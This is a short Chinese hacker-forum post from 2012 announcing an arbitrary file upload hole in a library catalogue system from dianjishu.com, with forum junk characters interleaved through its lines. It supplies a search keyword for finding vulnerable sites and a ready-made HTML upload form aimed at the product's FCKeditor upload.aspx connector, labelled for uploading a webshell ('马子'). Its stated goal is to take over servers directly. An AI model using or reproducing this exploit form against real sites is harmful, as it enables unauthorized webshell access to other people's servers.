主题:图书馆系统任意文件上传漏洞
# T* }2 L8 q9 R1 ~' ~ 作者:冰锋刺客9 r: C! ?1 { x+ e
厂商:点击书(dianjishu.com)
/ A" }% u/ f, f& a5 T2 M; u L 日期:2012-6-21
+ x" v; y& a3 [8 O' G( h 0 Q" e9 m c$ B; K# s
I 概述
( l8 t7 l8 c" Y8 U$ c! [- B# v% n 点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
9 ~) E3 r5 b0 C" E- W( N II 简介
6 L9 f( n8 c, c 关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"7 y0 p) X4 k; x
补充一个漏洞
' S" B* z( s6 O* P <form id="frmUpload" enctype="multipart/form-data"; \+ ~ a( o# Q9 |' S& b
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>) b; p+ ?! L3 Y" v* }4 ?
<input id="btnUpload" type="submit" value="操翻他">' L$ n, N# `5 }6 y
</form>
7 ?9 d! o7 b& k B8 y& i) B' ^ 你们懂的' y* M, ]4 t j) u
那傻逼提供还需要改包.+ n$ f$ f, G" ]' D
自己看了下源代码发现fckeditor
2 B$ w" R5 L4 T% L 直接秒杀
0 ]; B" s4 j9 F1 r! `1 y: w& r |
发表于 2012-9-10 21:20:59
收藏
支持
反对